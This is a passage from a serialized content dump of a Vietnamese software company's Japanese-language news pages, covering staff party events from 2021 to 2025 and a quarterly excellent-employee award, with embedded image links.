-1024x793.jpg",[568,8672],{},[530,8674],{"className":8675,"alt":64,"src":8676,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085706\u002FIMG_0987-1024x791.jpg",{"title":64,"searchDepth":65,"depth":65,"links":8678},[],"THANH CHAU LAI GIA","2023-04-18",{},"\u002Fja\u002Fnews\u002Fevent-party-thang-03-2023",{"title":8603,"description":8610},"ja\u002Fnews\u002Fevent-party-thang-03-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F14125257\u002F20230321_160157-1-scaled-e1681452352766.jpeg","fNW09ni9IxnYdKc3JeUOHc-OicsnUCLubPFQVyw5Xys",{"id":8688,"title":8689,"body":8690,"category":2844,"created by":68,"date":8728,"description":8694,"extension":71,"meta":8729,"navigation":73,"path":8730,"sections":75,"seo":8731,"stem":8732,"thumbnail":8733,"__hash__":8734},"content_ja\u002Fja\u002Fnews\u002Fevent-party-thang-04-2021.md","2021年4月パーティーイベント",{"type":8,"value":8691,"toc":8726},[8692,8695,8698,8702,8706,8710,8714,8717,8720,8723],[11,8693,8694],{},"1日の終わりに、ドアの向こうで賑やかな都会の音が響いています。仕事を終え、Briswell Vietnam一家で食事をしたり、チャットをしたり、日常生活の悩みを解消することより貴重なものは何もありません。",[11,8696,8697],{},"焼き立てほやほやの焼肉を緑が美しい野菜で巻き、熱い汁椀から湯気が出てくる、笑顔と笑い、すべてが暖かい雰囲気を作りました。",[530,8699],{"className":8700,"alt":64,"src":8701,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153443\u002F3-2048x1536.jpg",[530,8703],{"className":8704,"alt":64,"src":8705,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153453\u002F2-2048x1621.jpg",[530,8707],{"className":8708,"alt":64,"src":8709,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153502\u002F1-1024x768.jpg",[530,8711],{"className":8712,"alt":64,"src":8713,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153518\u002F4-1024x768.jpg",[11,8715,8716],{},"それはここにいるみんなが今まで以上に親しくなった瞬間。",[11,8718,8719],{},"焼肉店AKA HOUSEのビュッフェで素敵なパーティーの後、胸の中に感情が今でも残っているようです。",[11,8721,8722],{},"きっと遠からぬ未来、もっと素敵なパーティーができるでしょう。",[11,8724,8725],{},"次のイベントを楽しみにしましょう、Briswellのみんな！",{"title":64,"searchDepth":65,"depth":65,"links":8727},[],"2021-06-04",{},"\u002Fja\u002Fnews\u002Fevent-party-thang-04-2021",{"title":8689,"description":8694},"ja\u002Fnews\u002Fevent-party-thang-04-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153156\u002FFeatured-image.png","6Eyy__ctzSreUWnG51194F8hfii4_2JLGK6cdBV3IX8",{"id":8736,"title":8737,"body":8738,"category":2844,"created by":8867,"date":8868,"description":8742,"extension":71,"meta":8869,"navigation":73,"path":8870,"sections":75,"seo":8871,"stem":8872,"thumbnail":8873,"__hash__":8874},"content_ja\u002Fja\u002Fnews\u002Fevent-party-thang-08-2023.md","2023年8月パーティーイベント",{"type":8,"value":8739,"toc":8865},[8740,8743,8746,8750,8754,8757,8761,8765,8768,8772,8776,8779,8783,8787,8790,8794,8798,8801,8804,8808,8812,8815,8819,8823,8826,8830,8834,8837,8841,8845,8849,8853,8856,8859,8862],[11,8741,8742],{},"前回のイベントから3か月が経って、ブリズウェル ベトナムは再び従業員に興味深く有意義なイベントをもたらしました。 8月は夏の最後の月だけではなく、中秋節を始まる月でもあります。 このイベントはブリズウェル ベトナムの従業員にとって、休んで仕事のプレッシャーから解放されるだけでなく、同僚と絆を深め、交流する素晴らしい機会でもあります。 ブリズウェル ベトナムとカラフルで楽しいパーティーをお楽しみください! 🥂🎊🎈。",[11,8744,8745],{},"イベントは「ベトナム語のキング」というゲームから始まります。このゲームでは画面に反転された単語や文章を表示して、プレイヤーが正しい単語や文章に並べ替えます。このゲームには4チームが参加し、各チームが5分以内に対戦します。 最も多くの正解を出したチームが勝ちます。 このゲームは、プレイヤーのベトナム語遣いや理解能力などを確認するという目的です。 これは楽しくて面白いなゲームであり、他の対戦相手と競争するときにプレーヤーにわくわくと挑戦の感覚を与えます💪。",[530,8747],{"className":8748,"alt":64,"src":8749,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F24160119\u002Fimage.png",[11,8751,8753],{"className":8752},[2499,2500,2501,2502,2503],"\n「ベトナム語のキング」のやり方\n",[11,8755,8756],{},"1回戦はチーム1のメンバーが12-3で圧勝しました。チーム1のメンバーは非常に速く正確な答えを出し、誰でも驚きました。",[530,8758],{"className":8759,"alt":64,"src":8760,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25092558\u002Fz4632813375395_56f15f450dbef634e7ba3142d5191457-768x576.jpg",[11,8762,8764],{"className":8763},[2499,2500,2501,2502,2503],"\nチーム1のメンバー\n",[11,8766,8767],{},"次はチーム3とチーム4の対戦に続きました。 この対決は非常に緊張感であり、最終的には8-7でチーム4が勝利しました。",[530,8769],{"className":8770,"alt":64,"src":8771,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25092713\u002Fz4632813339804_bfe5ba0722bcbc843666d7c2ee29c258-768x576.jpg",[11,8773,8775],{"className":8774},[2499,2500,2501,2502,2503],"\nチーム3とチーム4の試合\n",[11,8777,8778],{},"決勝戦は、チーム1とチーム4の緊迫した対戦となりました。決勝戦では、主催者ですら答えを覚えていないほどの超難問があり、雰囲気がしんーになって、誰も黙って考えしなければなりませんでした。",[530,8780],{"className":8781,"alt":64,"src":8782,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25091414\u002Fz4632813317396_f343a7ee1019ef7c2aeb5c33b86c044e-768x576.jpg",[11,8784,8786],{"className":8785},[2499,2500,2501,2502,2503],"\n全員は熱戦の決勝戦に注目しています。\n",[11,8788,8789],{},"両チームの対戦は最終問題まで拮抗した展開となり、チーム1が多くの問題を連続正解し、8-6で決勝戦に勝利ました。",[530,8791],{"className":8792,"alt":64,"src":8793,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25084158\u002Fz4632813255440_ad0a7c28c5c9575521db95761fd76c2a-768x576.jpg",[11,8795,8797],{"className":8796},[2499,2500,2501,2502,2503],"\n勝ったチーム1は喜びで優勝賞品をもらいました。\n",[11,8799,8800],{},"次のゲームは、「キーワード推測」というゲームです。これは楽しさと創造性なゲームです 🎨。 各チームに 1人を任命して、その人はボディランゲージと顔つきを使ってキーワードを説明し、他のチームのメンバーが推測できるようにします。 5分以内に、より多くのキーワードを推測したチームが勝ちます 🏆。",[11,8802,8803],{},"チーム 1から始めましょう。先にやったが、チーム1はまったく混乱な様子もなく、5分以内に 9\u002F15問を正解しました。",[530,8805],{"className":8806,"alt":64,"src":8807,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25093246\u002Fz4632813243843_125f2a72f6835e79d7fed18dcc43df3f-768x576.jpg",[11,8809,8811],{"className":8810},[2499,2500,2501,2502,2503],"\nチーム1の競技\n",[11,8813,8814],{},"チーム2のキーワードは非常に難しく、推測するのが困難でした。 5分間で 7\u002F15 問しか正解できませんでした。",[530,8816],{"className":8817,"alt":64,"src":8818,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25093104\u002Fz4632813210762_9c8d45c1c27d3bb8aa6e55d9eb9d9ff2-768x576.jpg",[11,8820,8822],{"className":8821},[2499,2500,2501,2502,2503],"\nチーム2の競技\n",[11,8824,8825],{},"チーム3では、活発な表しと正確な判断により、5分間で 14\u002F15 個のキーワードを見事に正解しました。",[530,8827],{"className":8828,"alt":64,"src":8829,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25085710\u002Fz4632813210889_01d9be5a874bbc7454264e9e94b11e28-768x576.jpg",[11,8831,8833],{"className":8832},[2499,2500,2501,2502,2503],"\nチーム3の競技\n",[11,8835,8836],{},"そして、今回のイベントの第2ゲームでは、14\u002F15問正解でチーム3の勝利がほぼ確実かと思われていたが、15\u002F15問正解したチーム4によりチーム3を破り、もちろん勝利チームとなりました。",[530,8838],{"className":8839,"alt":64,"src":8840,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25131337\u002Fz4632813191059_cf655dc7dfc3aaa139fd7499bfed9699-768x576.jpg",[11,8842,8844],{"className":8843},[2499,2500,2501,2502,2503],"\nチーム4の競技\n",[530,8846],{"className":8847,"alt":64,"src":8848,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25084751\u002Fz4632813195607_3833144a7b951fc3bceafad54a8efa65-768x576.jpg",[11,8850,8852],{"className":8851},[2499,2500,2501,2502,2503],"\n勝ったチームは喜びで優勝賞品をもらいました。\n",[11,8854,8855],{},"第2ゲームが終了した後、昼食の時間となり、夏の昼の暑さで全員でエアコンが付けるレストランに美味しい食べ物を楽しんでいました。 今回のレストランは、おいしい伝統的なベトナム料理で有名なBep Cuonレストランです。",[11,8857,8858],{},"また、今回のイベントでは、ブリズウェルベトナムの開発チームに 4名の新メンバーを迎えました。皆さんは、正式な社員に昇格したインターンです。皆さんが一生懸命働き、多くの経験を積み、ブリズウェルベトナムの発展に貢献してください。 ブリズウェルファミリーの一員になられておめでとうございます! 🎉🎉🎉。",[11,8860,8861],{},"会社の2023年8月のパーティーイベントは喜びと幸せのうちに終了しました。 私たちは一緒にチャレンジを乗り越え、達成し、素晴らしい時間を過ごしました。 イベントは私たちにお互いを交流する素晴らしい機会です。 ご参加いただき、イベントの成功にご協力いただきました会員の皆様に感謝申し上げます 👏。",[11,8863,8864],{},"みんながいつも幸せで元気でいられるように！ 😊次回のイベントを楽しみにしていてください！ 🎉。",{"title":64,"searchDepth":65,"depth":65,"links":8866},[],"DONG LE VAN","2023-09-29",{},"\u002Fja\u002Fnews\u002Fevent-party-thang-08-2023",{"title":8737,"description":8742},"ja\u002Fnews\u002Fevent-party-thang-08-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25085243\u002Fz4632813238716_16ac37851256941a965fc29d809a15dd-2048x1536.jpg","xeC8LhxBvim2hRlhxB3Ngvpi9jwqaZreqLbIAz1-MaY",{"id":8876,"title":8877,"body":8878,"category":2844,"created by":68,"date":8980,"description":8882,"extension":71,"meta":8981,"navigation":73,"path":8982,"sections":75,"seo":8983,"stem":8984,"thumbnail":8985,"__hash__":8986},"content_ja\u002Fja\u002Fnews\u002Fevent-thang-05-2023-event-dau-he.md","2023年5月のイベント・初夏のイベントBeginning Event\"",{"type":8,"value":8879,"toc":8978},[8880,8883,8886,8889,8892,8896,8900,8903,8907,8911,8915,8919,8922,8925,8929,8933,8941,8945,8949,8953,8957,8960,8963,8971,8975],[11,8881,8882],{},"夏って社会人にとってはもう楽しみのことではないでしょう。いつも通り仕事をするからです。時々、仕事から帰る道でセミの鳴き声を聞いた時だけで驚いて夏が訪れたことに気づいたのでしょう。",[11,8884,8885],{},"ブリスウェルベトナムの今回のイベントは5月末に行われました。ベトナムでは、5月末の時点は初夏で国際こどもの日（6月1日）にも近いです。ブリスウェルベトナムの「大人たち」は子供のころのことをまだ思い出しているのかな？子供のころに戻り、大人生活のストレスを解消するため子供のころの味があるゲームを行いました。では、今回のイベントはどのようにながれていたか、次に行きましょう。",[11,8887,8888],{},"最初は面白くて、知恵な単語推測ゲームです。皆さんはもうこのゲームになれたでしょう。2000年代に有名なコメディアン・Xuan Bacさんが司会としての役割を果たす有名なテレビゲームショーでしたから。それで、皆さんはゲームのルールを把握できて、早速に正しい答えを出せましたでしょう。ゲームショーでは個人で競いますが、今回のイベントではちょっと違います。チーム精神や結束力を向上させるために、チームで競い合うことにしました。",[11,8890,8891],{},"１ラウンドでは、二つのチームは6－4点差で勝敗を決められました。前半の質問では優勝のチームが負けそうでしたが、後半の質問で点数をどんどん取り戻し、優勝になれました。お互いさまで面白いラウンドでした。",[530,8893],{"className":8894,"alt":64,"src":8895,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09142038\u002Fh1-1.png",[11,8897,8899],{"className":8898},[2499,2500,2501,2502,2503],"\n１ラウンドでの各チームが対戦している\n",[11,8901,8902],{},"２ラウンドでは、質問の数が増えましたが、皆さんは終始調子を崩さず、12－8点差で終了しました。勝敗を決めた後、まだ解けない難しい質問が残っていましたから、主催者はプレーヤーたちと一緒に解決してもらいたいと頼みました。回答はいまだに見つかりませんが、一緒に勝敗を無視してお互いに推論し、ブリスウェルベトナム家族の結束力がもっと高められました。",[530,8904],{"className":8905,"alt":64,"src":8906,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09142146\u002Fh2-1.png",[11,8908,8910],{"className":8909},[2499,2500,2501,2502,2503],"\n２ラウンドでの各チームはゴールラインに向かっている\n",[530,8912],{"className":8913,"alt":64,"src":8914,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09142357\u002Fh3-2.png",[11,8916,8918],{"className":8917},[2499,2500,2501,2502,2503],"\n主催者ですら答えが見つからない難問\n",[11,8920,8921],{},"皆さんは、子供のころ、お母さんと一緒に市場やスーパーへ行くことを楽しみにしていましたか？また、買い物リストを渡されて、家族の買い物を任せるときにワクワクしていましたか？大人になったみたいに自分がえらいと思ったでしょうね。大人になったら、スーパーで買い物なんかのことはもう子供の頃みたいに感じさせなくなっちゃったでしょうが、思い出したら懐かしいと思われるでしょう。",[11,8923,8924],{},"それで、当年の気持ちを思い出させるよう、二つ目のゲームはスーパーでの買い物チャレンジというゲームでした。このゲームでは四つのチームがあります。各チームは抽選で自分のスーパーを選びます。それから、チームのメンバーたちが自分のスーパーの商品リストを見て暗記して、紙に書きます。書いた商品が一番多いチームは勝ちです。そして、点数をもっと取るため、オフィス内に全スーパーの商品を探すのです。これでオフィスはいつよりも賑わうようになりました。皆が必死にものを探すからです。そして、Dev3グループの勝ちでゲームを終わらせました。",[530,8926],{"className":8927,"alt":64,"src":8928,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09142502\u002Fh4-1.png",[11,8930,8932],{"className":8931},[2499,2500,2501,2502,2503],"\n各チームのメンバーは商品名を覚えようとしている\n",[11,8934,8935,8939],{},[530,8936],{"className":8937,"alt":64,"src":8938,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104633\u002Fh5.png",[568,8940],{},[530,8942],{"className":8943,"alt":64,"src":8944,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09142636\u002Fh6-1.png",[11,8946,8948],{"className":8947},[2499,2500,2501,2502,2503],"\nチームが見つけたオフィス内のアイテム\n",[530,8950],{"className":8951,"alt":64,"src":8952,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09142718\u002Fh7-1.png",[11,8954,8956],{"className":8955},[2499,2500,2501,2502,2503],"\n優勝チームメンバーへのプレゼント\n",[11,8958,8959],{},"一緒にゲームをした後に、皆さんとまた一緒に夕食しました。今回のレストランはSeoul Gardenです。こちらは空間が広くて、温かい感じで、食べ物が豊富で韓国の焼き料理がいっぱいあります。家族や友達とのデートには適切なところです。",[11,8961,8962],{},"食事をしながら、オフィスではなかなか話せる機会がない話は今回一緒にシェアできました。 さらに、ブリズウェルベトナムの今回のイベントではコミュニケーターチーム ３人と アドミンチーム １人の新しいメンバーも参加してくれました。四人は誰も若いです。イベントの活動を通して、早くみんなと仲良くなり、会社の文化についてももっと理解するようになります。",[11,8964,8965,8969],{},[530,8966],{"className":8967,"alt":64,"src":8968,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09105001\u002Fh8.png",[568,8970],{},[530,8972],{"className":8973,"alt":64,"src":8974,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09105053\u002Fh9.png",[11,8976,8977],{},"それで、5月のイベントが皆さんの笑顔の中で終わりました。ブリスウェルベトナム家族の新メンバーたちは仕事の中でいろいろなスキルや新しい知識を身に付けていきましょう。また、次回のイベントは何があるか楽しみにしていましょう。",{"title":64,"searchDepth":65,"depth":65,"links":8979},[],"2023-06-13",{},"\u002Fja\u002Fnews\u002Fevent-thang-05-2023-event-dau-he",{"title":8877,"description":8882},"ja\u002Fnews\u002Fevent-thang-05-2023-event-dau-he","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F13111223\u002FIMG_3162-2048x1442.jpg","RFDNvmCzbRbQ7uPWo8zYaWRVzP0X4KOpQLJxjn5iW2Y",{"id":8988,"title":8989,"body":8990,"category":2844,"created by":5928,"date":9045,"description":9046,"extension":71,"meta":9047,"navigation":73,"path":9048,"sections":75,"seo":9049,"stem":9050,"thumbnail":9051,"__hash__":9052},"content_ja\u002Fja\u002Fnews\u002Fevent-thang-05-2025.md","2025年5月の社内イベント",{"type":8,"value":8991,"toc":9043},[8992,8995,8998,9011,9022,9025,9029,9040],[11,8993,8994],{},"しばらく皆で集まる機会がありませんでしたが、会社のメンバーで和やかに食卓を囲むことができました。",[11,8996,8997],{},"5月のやわらかな夜。ほのかな黄色い灯りと温かな雰囲気に包まれながら、みんなでディナーを楽しみました。新鮮なサラダ、香ばしいステーキ、カラフルなモクテル、そして冷たいフルーツドリンクどれも魅力的で、食卓に彩りを添えてくれました。なかでも特に注目を集めたのが、「Chữa Lành（チュア・ラン）」というユニークな名前のドリンクです。「Chữa Lành」はベトナム語で「癒し」という意味です。その名のとおり、心がほっと和らぐような優しい味わいで、この夜の穏やかな空気にぴったりの一杯でした。",[854,8999,6338,9003,6338,9007],{"className":9000,"style":9002},[9001],"mt-4","display: flex; gap: 16px;",[530,9004],{"className":9005,"alt":64,"src":9006,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100337\u002FIMG_4414-scaled.jpg",[530,9008],{"className":9009,"alt":64,"src":9010,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100347\u002FIMG_4415-scaled.jpg",[854,9012,6338,9014,6338,9018],{"className":9013,"style":9002},[9001],[530,9015],{"className":9016,"alt":64,"src":9017,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100358\u002FIMG_4416-scaled.jpg",[530,9019],{"className":9020,"alt":64,"src":9021,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100328\u002FIMG_4413-scaled.jpg",[11,9023,9024],{},"夕食のパーティーは、みんなが会話を楽しみ、笑い合い、大きな家族のように結びつく時間です。",[530,9026],{"className":9027,"alt":64,"src":9028,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100253\u002FIMG_4409-768x1024.jpg",[854,9030,6338,9032,6338,9036],{"className":9031,"style":9002},[9001],[530,9033],{"className":9034,"alt":64,"src":9035,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100307\u002FIMG_4410-scaled.jpg",[530,9037],{"className":9038,"alt":64,"src":9039,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100320\u002FIMG_4412-scaled.jpg",[11,9041,9042],{},"これからも、たくさんのパーティーを楽しみ、素敵な思い出を共に作り続けましょう！🎉",{"title":64,"searchDepth":65,"depth":65,"links":9044},[],"2025-06-02","しばらく皆で集まる機会がありませんでしたが、会社のメンバーで和やかに食卓を囲むことができました。 5月のやわらかな夜。ほのかな黄色い灯りと温かな雰囲気に包まれながら、みんなでディナーを楽しみました。新鮮なサラダ、香ばしいステーキ、カラフルなモクテル、そして冷たいフルーツドリンクどれも魅力的で、食卓に彩りを添えてくれました。なかでも特に注目を集めたのが、「Chữa Lành（チュア・ラン）」というユニークな名前のドリンクです。「Chữa Lành」はベトナム語で「癒し」という意味です。その名のとおり、心がほっと和らぐような優しい味わいで、この夜の穏やかな空気にぴったりの一杯でした。",{},"\u002Fja\u002Fnews\u002Fevent-thang-05-2025",{"title":8989,"description":9046},"ja\u002Fnews\u002Fevent-thang-05-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22170541\u002FCOMPANY-EVENT-IN-052025.png","dSom3RMCkm7137b8ImgeEq8kZvgEA3CLunkVAhigmBo",{"id":9054,"title":9055,"body":9056,"category":2844,"created by":9110,"date":9111,"description":9060,"extension":71,"meta":9112,"navigation":73,"path":9113,"sections":75,"seo":9114,"stem":9115,"thumbnail":9116,"__hash__":9117},"content_ja\u002Fja\u002Fnews\u002Fevent-thang-12-2025.md","2025年12月の社内イベント",{"type":8,"value":9057,"toc":9108},[9058,9061,9064,9069,9077,9081,9084,9093,9102,9105],[11,9059,9060],{},"12月が到来してお馴染みのクリスマスの雰囲気が漂います。街のあちこちには、音楽が流れ、煌めくイルミネーションや華やかな飾りに溢れています。年末の賑わうリズムに溶け込み、この季節ならではの特別なメロディーを奏でています。",[11,9062,9063],{},"ブリスウェル ベトナムのオフィスは、大小様々なクリスマス飾りによりクリスマスムードー色に染まっています。",[530,9065],{"className":9066,"alt":64,"src":9068,"style":1174},[533,534,9067],"mb-4","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30101403\u002FIMG_8344-scaled.jpg",[854,9070,6338,9071,6338,9074],{"style":9002},[530,9072],{"alt":64,"src":9073,"style":601},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091634\u002FIMG_8331-scaled.jpg",[530,9075],{"alt":64,"src":9076,"style":601},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091645\u002FIMG_8332-810x1024.jpg",[530,9078],{"className":9079,"alt":64,"src":9080,"style":1174},[533,534,9001],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091655\u002FIMG_8333-1216x1536.jpg",[11,9082,9083],{},"この機会に因んで全員がクリスマスの雰囲気を楽しんで交流できる小さなイベントを開催しました。",[854,9085,6338,9087,6338,9090],{"className":9086,"style":9002},[9067],[530,9088],{"alt":64,"src":9089,"style":601},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091553\u002FIMG_8323-1152x1536.jpg",[530,9091],{"alt":64,"src":9092,"style":601},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091611\u002FIMG_8326-1152x1536.jpg",[854,9094,6338,9096,6338,9099],{"className":9095,"style":9002},[9001],[530,9097],{"alt":64,"src":9098,"style":601},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091603\u002FIMG_8325-scaled.jpg",[530,9100],{"alt":64,"src":9101,"style":601},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091704\u002FIMG_8337-1152x1536.jpg",[11,9103,9104],{},"パーティーは賑わい、笑顔や歓声に溢れ、さらに写真撮影が全員の気分を盛り上げ、リラックスした気持ちと活力に溢れていました。",[11,9106,9107],{},"和やかな雰囲気でパーティーは締めくくられ、各メンバーは記念写真とともに温かいクリスマスの夜を満喫して帰りました。シンプルなパーティーですが、全員の心に刻む思い出となり、全員の結束力をさらに高めらることができました。",{"title":64,"searchDepth":65,"depth":65,"links":9109},[],"PHAM NGOC GIANG THANH","2026-01-09",{},"\u002Fja\u002Fnews\u002Fevent-thang-12-2025",{"title":9055,"description":9060},"ja\u002Fnews\u002Fevent-thang-12-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30111621\u002Ftittle_3.png","Qpl5NGatpUSlYelSXqpVn-QJ-4A9KqMs2hJpU1cmmPE",{"id":9119,"title":9120,"body":9121,"category":67,"created by":68,"date":9177,"description":9178,"extension":71,"meta":9179,"navigation":73,"path":9180,"sections":75,"seo":9181,"stem":9182,"thumbnail":9183,"__hash__":9184},"content_ja\u002Fja\u002Fnews\u002Fexcellent-staff-4-2020.md","2020年第4四半期の優秀社員賞",{"type":8,"value":9122,"toc":9175},[9123,9126,9129,9134,9139,9143,9146,9149,9154,9159,9163,9166,9169,9172],[11,9124,9125],{},"いよいよ2020年第4四半期の優秀社員賞が到来しました。この四半期で一生懸命に働いたスタッフの会社への貢献を称えさせて頂きます。",[11,9127,9128],{},"では、2020年第4四半期の優秀社員賞を受賞した方はどなたでしょうか。受賞者を探しましょう！",[11,9130,9131],{},[20,9132,9133],{},"一等賞",[11,9135,9136],{},[20,9137,9138],{},"IT-COMチームのブイ・ドゥック・フイさん",[530,9140],{"className":9141,"alt":64,"src":9142,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142112\u002FIMG_8527-scaled.jpg",[11,9144,9145],{},"リーダたちに注目され、高く評価されたフイさんはもう一度受賞しました。案件にテスターとして参加している彼は非常に若いですが、仕事への責任感が非常に強いです。",[11,9147,9148],{},"このように仕事で責任をもって実績に貢献している彼は遠からぬ未来、もっと活躍できます！",[11,9150,9151],{},[20,9152,9153],{},"二等賞",[11,9155,9156],{},[20,9157,9158],{},"DEV2チームのレ・ゴック・カインさん",[530,9160],{"className":9161,"alt":64,"src":9162,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142125\u002FIMG_8524-scaled.jpg",[11,9164,9165],{},"ブリスウェルの新人のカインさんは、卒業したばかりの新米開発者ですが、熱心に勉強しながら働いていき、仕事に頑張るだけではなく、他人からの意見を受け取って自分磨きをして改善していきます。",[11,9167,9168],{},"今後とも、自分の所長を発揮しますように！",[11,9170,9171],{},"受賞者のフイさん、カインさん、おめでとうございます！",[11,9173,9174],{},"2020年が終わり、2021年が始まりました。ブリスウェルの皆さん、新たな年を迎えて色々なことにチャレンジしても